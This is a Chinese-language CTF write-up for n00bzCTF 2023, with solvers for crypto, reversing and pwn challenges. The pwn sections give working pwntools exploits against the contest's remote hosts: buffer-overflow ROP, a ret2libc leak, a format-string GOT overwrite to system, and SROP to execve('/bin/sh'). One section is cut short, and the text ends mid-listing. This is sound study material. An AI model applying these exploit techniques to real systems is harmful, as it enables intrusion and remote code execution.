[n00bzCTF 2023] CPR 最后还是差一个

这篇具有很好参考价值的文章主要介绍了[n00bzCTF 2023] CPR 最后还是差一个。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Crypto

AES

给了java的加密原码,AES加密,有key

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;

public class AESChallenge {
    private static final String AES_ALGORITHM = "AES";
    private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 10000;
    private static final int KEY_SIZE = 256;

    private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
    }

    private static String encrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, key);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }

    public static void main(String[] args) {
        String flag = "REDACTED";
        String password = "aesiseasy";
        byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);

        try {
            SecretKey key = generateKey(password, salt);
            String encryptedFlag = encrypt(flag, key);
            System.out.println("Encrypted Flag: " + encryptedFlag);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

虽然不怎么熟java,但拿原来的程序稍改一下作个解密还是可以的。然后一运行就OK了,

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;

public class dec {
    private static final String AES_ALGORITHM = "AES";
    private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 10000;
    private static final int KEY_SIZE = 256;

    private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
    }

    private static String encrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, key);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }

    private static String decrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key);
		byte[] decodedb64 = Base64.getDecoder().decode(plainText);
        byte[] encryptedBytes = cipher.doFinal(decodedb64);
        return new String(encryptedBytes, "utf-8");
    }

    public static void main(String[] args) {
        String encflag = "FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ=";
        String password = "aesiseasy";
        byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);

        try {
            SecretKey key = generateKey(password, salt);
            String encryptedFlag = decrypt(encflag, key);
            System.out.println("Encrypted Flag: " + encryptedFlag);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
#Encrypted Flag: n00bz{1_d0n't_l1k3_a3s_ch4ll3ng3_d0_y0u_lik3?_41703148ed8347adbe238ffbdbaf5e16}

MaaS

一个有远端的猜flag游戏,每个字符可以猜3次,返回数字左移16位后模flag字符的结果,这些数字选择不好就会有取模后相同的,经过几次猜测得到 1,2,9对于26个字符结果都不同。

#!/usr/bin/python3
import random
from Crypto.Util.number import *
flag = open('flag.txt').read()
alpha = 'abcdefghijklmnopqrstuvwxyz'.upper()
to_guess = ''
for i in range(16):
	to_guess += random.choice(alpha)

print(to_guess)
for i in range(len(to_guess)):
	for j in range(3):
		inp = int(input(f'Guessing letter {i}, Enter Guess: '))
		guess = inp << 16
		print(guess % ord(to_guess[i]))
last_guess = input('Enter Guess: ')
if last_guess == to_guess:
	print(flag)
else:
	print('Incorrect! Bye!')
	exit()

然后去算一下就行了

from pwn import *

def guess(a,b,c):
    for i in range(65, 91):
        if (1<<16)%i == a and (2<<16)%i == b and (9<<16)%i == c:
            print(i)
            break
    
    return chr(i)


p = remote('challs.n00bzunit3d.xyz', 51081)
#p = process(['python','chall.py'])
context.log_level = 'debug'

s = ''
for i in range(16):
    p.sendlineafter(b"Guess:", b'1')
    a = int(p.recvline())
    p.sendlineafter(b"Guess:", b'2')
    b = int(p.recvline())
    p.sendlineafter(b"Guess:", b'9')
    c = int(p.recvline())
    s += guess(a,b,c)

p.sendlineafter(b'Enter Guess: ', s.encode())
print(p.recvline())


#n00bz{M0dul0_f7w_1a4d3f5c!}

RSA

这是个RSA题连接远程后会返回e,n,c,由于e=17是固定的,只要取17次然后用CRT再开17次方即可。

from pwn import *
from gmpy2 import iroot
from sage.all import *
from Crypto.Util.number import long_to_bytes

c = []
n = []
for i in range(17):
    p = remote('challs.n00bzunit3d.xyz', 2069)
    e = eval(p.recvline()[4:])
    c.append(eval(p.recvline()[5:]))
    n.append(eval(p.recvline()[4:]))
    p.close()

v = crt(c,n)
m = iroot(v,17)
print(m)
print(long_to_bytes(m[0]))
#(mpz(2970669027690104794419861589361110636027186700218438676106599190503805), True)
#b'n00bz{5m4ll_3_1s_n3v3r_g00d!}'

PWN

pwn1

前边几个都不难,赛方连名字都懒得起了,直接123。

溢出到后门

from pwn import *
p = remote('challs.n00bzunit3d.xyz', 35932)
context.log_level = 'debug'
p.sendlineafter(b'\n', b'\x00'*0x48+ p64(0x401253))
p.sendline(b'cat fla*')
p.interactive()
#n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}

pwn2

第2个没有直接的后门但是有system和bin/sh

from pwn import *

p = remote('challs.n00bzunit3d.xyz', 61223)
context(arch='amd64',log_level = 'debug')

elf = ELF('./pwn2')
pop_rdi = 0x401196
system = elf.plt['system']
bin_sh = 0x404090
p.sendlineafter(b'\n', b'/bin/sh\x00')
p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.sendline(b'cat fla*')

p.interactive()
#n00bz{3xpl01t_w1th0u7_w1n_5uc355ful!}

pwn3

这个把system也没有了,溢出来是那样

from pwn import *

p = remote('challs.n00bzunit3d.xyz', 42450)
context(arch='amd64',log_level = 'debug')

elf = ELF('./pwn3')
pop_rdi = 0x401232
main = 0x4011db

p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi, elf.got['puts'], elf.sym['puts'], main))
p.recvline()

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x80ed0
system = libc_base + 0x50d60
bin_sh = libc_base + 0x1d8698
print(f"{libc_base = :x}")

p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system, main))

p.sendline(b'cat fla*')

p.interactive()
#n00bz{1f_y0u_h4ve_n0th1ng_y0u_h4ve_l1bc}

strings

从名字上看是格式化字符串漏洞的题。这种题也就那么几种,根据读入数据位置来分,数据在栈内就可以随便改,不在栈内就措指针链,如果没有栈深的rbp链就找argv链。

然后就是改got表或者写rop

最多也就是数据不在栈内再改ret。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  puts("Do you love strings? ");
  fgets(s, 100, stdin);
  printf(s);
  main2();
  return v6 - __readfsqword(0x28u);
}
unsigned __int64 main2()
{
  FILE *stream; // [rsp+8h] [rbp-38h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  fgets(s, 40, stream);
  printf("n00bz{f4k3_fl4g}");
  return v3 - __readfsqword(0x28u);
}

程序执行完printf就去执行main2然后就退出了(main2没有溢出也没有printf),

        所以第1步是造个循环。这里由于got表可写,可以把main2里的函数改为main形成循环,main2里可用的函数由于fgets,printf在main里都用,所以只能改fopen(感觉不读flag有点可惜了)

        第二步由于有个无限循环可以慢慢写,由于读入只有100字节,需要手工处理一下。fmtstr_payload自动生成的会比较长。

        这里把printf改成system,然后输入/bin/sh让他执行。

from pwn import *

#p = process('./strings')
p = remote('challs.n00bzunit3d.xyz', 7150)
context(arch='amd64', log_level='debug')

elf = ELF('./strings')

#gdb.attach(p, 'b*0x401315\nc')

#fopen->main
target = elf.got['fopen']
pay = fmtstr_payload(6,{target: elf.sym['main']})

p.sendlineafter(b'Do you love strings? \n', pay)

pay = b'%7$s....'+p64(elf.got['printf'])
p.sendlineafter(b'Do you love strings? \n', pay)
libc_base = u64(p.recv(6)+ b'\x00'*2) - 0x60770
print(f"{libc_base = :x}")

system = libc_base + 0x50d60
#pay = fmtstr_payload(6,{elf.got['printf']: system})
#print(pay)
v1 = system&0xff 
v2 = (system>>8)&0xff
v3 = (system>>16)&0xff
w2 = (v2-v1)&0xff
w3 = (v3-v2)&0xff
pay = f"%{v1}c%12$hhn%{w2}c%13$hhn%{w3}c%14$hhn".ljust(0x30,'A')
pay = pay.encode() + flat(elf.got['printf'], elf.got['printf']+1, elf.got['printf']+2)
p.sendlineafter(b'Do you love strings? \n', pay)

p.sendlineafter(b'Do you love strings? \n', b'/bin/sh\x00')


p.interactive()

ASM

代码就这么一点,一时卡住了,不知怎么处理,没能rdi

.text:0000000000401000 B8 01 00 00 00                mov     eax, 1
.text:0000000000401005 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov     rsi, offset msg                 ; buf
.text:0000000000401014 BA 0F 00 00 00                mov     edx, 0Fh                        ; count
.text:0000000000401019 0F 05                         syscall                                 ; LINUX - sys_write
.text:000000000040101B 48 83 EC 20                   sub     rsp, 20h
.text:000000000040101F B8 00 00 00 00                mov     eax, 0
.text:0000000000401024 BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401029 48 89 E6                      mov     rsi, rsp                        ; buf
.text:000000000040102C BA 00 02 00 00                mov     edx, 200h                       ; count
.text:0000000000401031 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000401033 48 83 C4 20                   add     rsp, 20h
.text:0000000000401037 C3                            retn
.text:0000000000401037
.text:0000000000401037                               vuln endp
.text:0000000000401037
.text:0000000000401038
.text:0000000000401038                               ; =============== S U B R O U T I N E =======================================
.text:0000000000401038
.text:0000000000401038
.text:0000000000401038                               ; signed __int64 start()
.text:0000000000401038                               public _start
.text:0000000000401038                               _start proc near                        ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401038 E8 C3 FF FF FF                call    vuln
.text:0000000000401038
.text:000000000040103D B8 3C 00 00 00                mov     eax, 3Ch ; '<'
.text:0000000000401042 BF 00 00 00 00                mov     edi, 0                          ; error_code
.text:0000000000401047 0F 05                         syscall                                 ; LINUX - sys_exit
.text:0000000000401049 C3                            retn

最后还是从名字上得到入口,文件名叫srop_me显然是用srop,也就是通过中断15恢复现场,在sigreturn里设置对应寄存器得到shell

rax通过read的返回长度得到,然后调用syscall;ret+frame

from pwn import *

#p = process('./srop_me')
p = remote('challs.n00bzunit3d.xyz', 38894)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x401031\nc')

sh_address = 0x40200f
syscall_ret = 0x401047
sys_read = 0x401000

frame=SigreturnFrame()  #pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

pay = b'A'*0x20+ flat(sys_read, syscall_ret) + flat(frame)

p.sendafter(b'Hello, world!!\n', pay)
p.sendafter(b'Hello, world!!\n', b'X'*15)


p.interactive()
#n00bz{SR0P_1$_s0_fun_r1ght??!}

REV

wellcome

略,flag在ida里可见

mypin 

也没什么线索,vengx替我解决了遗憾,反编译后的原码分两块,这是个按钮,点点点,它去调用secret里的process

public class Mypin {
    private JFrame frame = new JFrame("Guess the pin");
    private JLabel output = new JLabel();

    Mypin() {
        this.output.setBounds(20, 250, 360, 20);
        JLabel jLabel = new JLabel("Your data:");
        jLabel.setBounds(20, 235, 100, 20);
        this.frame.add(jLabel);
        this.frame.add(this.output);
        this.frame.add(new PinButton(this, "0", 43, 10, 150, 150));
        this.frame.add(new PinButton(this, "1", 198, 10, 150, 150));
        this.frame.add(new ResetButton(this, 43, 165, 305, 50));
        this.frame.setSize(400, 350);
        this.frame.setLayout((LayoutManager) null);
        this.frame.setVisible(true);
        this.frame.setDefaultCloseOperation(3);
    }

    public static void main(String[] strArr) {
        new Mypin();
    }

    public void clearOutput() {
        this.output.setText("");
    }

    public void updateOutput() {
        this.output.setText(Secret.getInstance().getData());
    }
}

package defpackage;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;

/* compiled from: Mypin.java */
/* renamed from: PinButton  reason: default package */
/* loaded from: My-pin.jar:PinButton.class */
class PinButton extends JButton implements ActionListener {
    Mypin app;

    /* JADX INFO: Access modifiers changed from: package-private */
    public PinButton(Mypin mypin, String str, int i, int i2, int i3, int i4) {
        super(str);
        this.app = mypin;
        addActionListener(this);
        setBounds(i, i2, i3, i4);
    }

    public void actionPerformed(ActionEvent actionEvent) {
        Secret.getInstance().process(getText().charAt(0));
        this.app.updateOutput();
    }
}

Secret加密比较复杂,复杂到看不明白他在干啥

public class Secret {
    private static Secret instance = new Secret();
    private int cnt = 1;
    private int[] mydata = {0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};
    private int[] box = new int[this.mydata.length / 9];

    private Secret() {
    }

    public static Secret getInstance() {
        return instance;
    }

    public void resetInstance() {
        instance = new Secret();
    }

    public void process(char c) {
        if (this.cnt > 9) {
            return;
        }
        int length = this.mydata.length / 9;
        for (int i = 1; i <= length; i++) {
            int i2 = (9 * i) - this.cnt;
            int i3 = this.box[i - 1] + this.mydata[i2] + (c - '0');
            this.mydata[i2] = i3 % 2;
            if (i3 >= 2) {
                this.box[i - 1] = 1;
            } else {
                this.box[i - 1] = 0;
            }
        }
        this.cnt++;
    }

    private String misteri(int i) {
        String str = "";
        int i2 = 0;
        int i3 = 1;
        while (i > 0) {
            i2 |= (i & 1) << ((i3 % 8) - 1);
            i >>= 1;
            if (i3 % 8 == 0) {
                if (32 <= i2 && i2 < 128) {
                    str = ((char) i2) + str;
                }
                i2 = 0;
            }
            i3++;
        }
        return ((char) i2) + str;
    }

    public String getData() {
        int length = this.mydata.length / 9;
        String str = "";
        int i = 5;
        int i2 = 0;
        for (int i3 = 1; i3 <= length; i3++) {
            int i4 = 0;
            int i5 = 1;
            for (int i6 = 1; i6 <= 8; i6++) {
                i4 += this.mydata[(9 * i3) - i6] * i5;
                i5 <<= 1;
            }
            i--;
            i2 = (int) (i2 + ((i4 - 33) * Math.pow(85.0d, i)));
            if (i == 0) {
                str = str + misteri(i2);
                i2 = 0;
                i = 5;
            }
        }
        while (i > 0) {
            i--;
            i2 = (int) (i2 + (84.0d * Math.pow(85.0d, i)));
        }
        return str + misteri(i2);
    }
}

第9个一组每组从后向前与输入的key(9位)与box相加,本位存回mydata进位存入box,实际上就是个加法,key用[0,256]爆破.Secret类保持不变,建Pin类爆破

public class Pin {
    public static void main(String[] args) {
        for (int i = 0; i < 512; i++) {
            String pin = String.format("%9s", Integer.toBinaryString(i)).replace(' ', '0');
            Secret secret = Secret.getInstance();
            secret.resetInstance();
            for (char c : pin.toCharArray()) {
                secret.process(c);
            }
            String data = secret.getData();
            //System.out.println(data);
            if(data.contains("n00bz")) {
                System.out.println("PIN: " + pin + ", Flag: " + data);
            }
        }
    }
}

 C:\.....\java.exe Pin
PIN: 010110100, Flag: n00bz{y0uuu_n33d_t0_bRutefoRc3_1s_e4zyY_}  
PIN: 010110101, Flag: n00bz{y0uuu_n33d_t0_bRutefoRc3_1s_e4zyY_}  

ezrev

用jadx打不开的class文件,网上搜文件结构,发现主版本号的位置太大,3f改为34打开

import java.util.Arrays;

public class EZrev {
  public static void main(String[] paramArrayOfString) {
    if (paramArrayOfString.length != 1) {
      System.out.println("L");
      return;
    } 
    String str = paramArrayOfString[0];
    if (str.length() != 31) {
      System.out.println("L");
      return;
    } 
    int[] arrayOfInt1 = str.chars().toArray();
    byte b;
    for (b = 0; b < arrayOfInt1.length; b++) {
      if (b % 2 == 0) {
        arrayOfInt1[b] = (char)(arrayOfInt1[b] ^ 0x13);
      } else {
        arrayOfInt1[b] = (char)(arrayOfInt1[b] ^ 0x37);
      } 
    } 
    for (b = 0; b < arrayOfInt1.length / 2; b++) {
      if (b % 2 == 0) {
        int i = arrayOfInt1[b] - 10;
        arrayOfInt1[b] = (char)(arrayOfInt1[arrayOfInt1.length - 1 - b] + 20);
        arrayOfInt1[arrayOfInt1.length - 1 - b] = (char)i;
      } else {
        arrayOfInt1[b] = (char)(arrayOfInt1[b] + 30);
      } 
    } 
    int[] arrayOfInt2 = { 
        130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 
        96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 
        24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 
        115 };
    if (Arrays.equals(arrayOfInt1, arrayOfInt2)) {
      System.out.println("W");
    } else {
      System.out.println("L");
    } 
  }
}

很简单的先分组异或再分组移位

a = [130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115]

for i in range(len(a)//2):
    if i%2 == 0:
        a[i],a[len(a)-1-i] = a[len(a)-1-i]+10, a[i]-20 
    else:
        a[i] -= 30 

a = [v^0x13 if i%2==0 else v^0x37 for i,v in enumerate(a)]
bytes(a)
#n00bz{r3v_1s_s0_e4zy_r1ght??!!}

zzz

这个也没啥说的,就是很麻烦z3一把梭

int __fastcall check(char *a1)
{
  if ( *a1 >> 4 != 6 )
    bye();
  if ( a1[1] != a1[2] )
    bye();
  if ( ((unsigned __int8)a1[3] | (unsigned __int8)a1[6]) != 122
    || ((unsigned __int8)a1[3] & (unsigned __int8)a1[6]) != 66 )
  {
    bye();
  }
  if ( a1[4] != a1[28] )
    bye();
  if ( a1[5] * a1[29] != 15375 )
    bye();
  if ( a1[7] + a1[6] + a1[8] != 302 || a1[6] * a1[7] - a1[8] != 10890 )
    bye();
  if ( a1[9] - a1[8] != 5 || a1[10] - a1[9] != 27 || ((unsigned __int8)a1[11] ^ (unsigned __int8)a1[10]) != 32 )
    bye();
  if ( a1[12] != a1[15] || a1[12] + a1[11] != 180 || a1[13] + a1[12] != 185 )
    bye();
  if ( a1[14] + a1[13] - a1[16] != a1[13] )
    bye();
  if ( a1[16] + a1[17] != 217 || a1[17] != a1[13] )
    bye();
  if ( a1[16] + a1[14] != 2 * a1[14] )
    bye();
  if ( a1[18] != 90 || a1[18] != a1[19] || ((unsigned __int8)(a1[20] ^ a1[19]) ^ (unsigned __int8)a1[21]) != 127 )
    bye();
  if ( ((unsigned __int8)a1[22] ^ (unsigned __int8)(a1[21] ^ a1[20])) != a1[21] )
    bye();
  if ( a1[21] != 95 || a1[24] + a1[6] != 180 )
    bye();
  if ( ~a1[23] + a1[24] != -33 )
    bye();
  if ( a1[25] != a1[9] )
    bye();
  if ( a1[26] + a1[27] != 212 )
    bye();
  if ( a1[27] != a1[28] )
    bye();
  return puts("You got it!");
}

把代码复制过来,然后作个搜索替换,然后再作些小修。最后加上头和尾

from z3 import *

a1 = [BitVec(f'a_{i}',8) for i in range(30)]
s = Solver()
for i in range(30):
    s.add(a1[i]>0x20)
    s.add(a1[i]<0x7f)

for i,v in enumerate(b'n00bz{'):
    s.add(a1[i] == v)

s.add(a1[29] == ord('}'))

s.add( a1[0] >> 4 == 6 )
s.add( a1[1] == a1[2] )
s.add( (a1[3] | a1[6]) == 122 )
s.add( a1[3] & a1[6] == 66 )
s.add( a1[4] == a1[28] )
s.add( a1[5] * a1[29] == 15375 )
s.add( a1[7] + a1[6] + a1[8] == 302 )
s.add( a1[6] * a1[7] - a1[8] == 10890 )
s.add( a1[9] - a1[8] == 5 )
s.add( a1[10] - a1[9] == 27 )
s.add( a1[11] ^ a1[10] == 32 )
s.add( a1[12] == a1[15] )
s.add( a1[12] + a1[11] == 180 )
s.add( a1[13] + a1[12] == 185 )
s.add( a1[14] + a1[13] - a1[16] == a1[13] )
s.add( a1[16] + a1[17] == 217 )
s.add(a1[17] == a1[13] )
s.add( a1[16] + a1[14] == 2 * a1[14] )
s.add( a1[18] == 90 )
s.add(a1[18] == a1[19] )
s.add((a1[20] ^ a1[19] ^ a1[21]) == 127 )
s.add( (a1[22] ^ (a1[21] ^ a1[20])) == a1[21] )
s.add( a1[21] == 95 )
s.add( a1[24] + a1[6] == 180 )
s.add( ~a1[23] + a1[24] == -33 )
s.add( a1[25] == a1[9] )
s.add( a1[26] + a1[27] == 212 )
s.add( a1[27] == a1[28] )

s.check()
d = s.model()
flag = bytes([d[a1[i]].as_long() for i in range(30)])
print(flag)
#n00bz{ZzZ_zZZ_zZz_ZZz_zzZ_Zzz}

VM

代码很简单的虚拟机,然后写了对应的解码程序

__int64 execute()
{
  int v0; // ecx
  int v1; // eax
  int v2; // edx
  int v3; // eax
  __int64 result; // rax
  signed int i; // [rsp+8h] [rbp-8h]
  int v6; // [rsp+8h] [rbp-8h]
  int v7; // [rsp+8h] [rbp-8h]
  int v8; // [rsp+8h] [rbp-8h]
  int v9; // [rsp+8h] [rbp-8h]
  int v10; // [rsp+8h] [rbp-8h]
  int v11; // [rsp+8h] [rbp-8h]
  int v12; // [rsp+8h] [rbp-8h]
  int v13; // [rsp+8h] [rbp-8h]
  int v14; // [rsp+8h] [rbp-8h]
  int v15; // [rsp+Ch] [rbp-4h]
  int v16; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( (unsigned int)i > 0x1FF )
      break;
    if ( (unsigned int)program[i] > 0xE )
    {
      puts("ERROR: Unknown instruction!");
      exit(-1);
    }
    switch ( program[i] )
    {
      case 0:
        puts("NOP");
        break;
      case 1:
        v0 = program[++i];
        v1 = dword_46C0++;
        stack[v1] = r[v0];
        break;
      case 2:
        r[program[++i]] = stack[--dword_46C0];
        break;
      case 3:
        v7 = i + 1;
        v16 = program[v7];
        i = v7 + 1;
        r[v16] = r[program[i]];
        break;
      case 4:
        v6 = i + 1;
        v15 = program[v6];
        i = v6 + 1;
        r[v15] = program[i];
        break;
      case 5:
        v8 = i + 1;
        r[program[v8]] += r[program[v8 + 1]];
        i = v8 + 1;
        break;
      case 6:
        v9 = i + 1;
        r[program[v9]] -= r[program[v9 + 1]];
        i = v9 + 1;
        break;
      case 7:
        v10 = i + 1;
        r[program[v10]] *= r[program[v10 + 1]];
        i = v10 + 1;
        break;
      case 8:
        v11 = i + 1;
        r[program[v11]] /= r[program[v11 + 1]];
        i = v11 + 1;
        break;
      case 9:
        v12 = i + 1;
        r[program[v12]] ^= r[program[v12 + 1]];
        i = v12 + 1;
        break;
      case 10:
        v13 = i + 1;
        r[program[v13]] &= r[program[v13 + 1]];
        i = v13 + 1;
        break;
      case 11:
        v14 = i + 1;
        r[program[v14]] |= r[program[v14 + 1]];
        i = v14 + 1;
        break;
      case 12:
        printf("%ld\n", r[program[++i]]);
        break;
      case 13:
        v2 = getchar();
        v3 = dword_46C0++;
        stack[v3] = v2;
        break;
      case 14:
        exit(0);
    }
  }
  return result;
}

然后把解码程序删掉。这题有点坑呀,用010打开能看到

[n00bzCTF 2023] CPR 最后还是差一个

bf

 确实难住了,这里边最难的一个题(只有之一)

给的是一段brainf*ck的代码,直接运行无结果只能慢慢啃。

>->>>>>,[----------[++++++++++>>>>>,>]<]>---<+[-<+]->>>>>[<+++++++++++++++++++++
+++++++++++[>>[-]+>[-]<<-<->[>-]>[-<<[-]>>>]<<<]>+++++++++++++++++++++++++++++++
++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++<[>->+<[>]>[<+>-]<<[<]>-]>[-]>[-<<+>>]>>>]+[-<+]-
>>>>>-------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------
-----------------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++
]]>>>>>---------------------------------------------------------------[[-]--+[-<
+]-<[-]+>++[-->++]]>>>>>-------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
----------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------
--------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------
--[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------------------------------------------
-------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>
++[-->++]]>>>>>-----------------------------------------------------------------
----[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------------------
---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------
----------------------------------------------------------[[-]--+[-<+]-<[-]+>++[
-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------
----------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>
-------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------
-------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------
------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------
-----------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>
>---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------
-------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
--------------------------------------------------------------------------------
---------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------[[-]--+
[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------
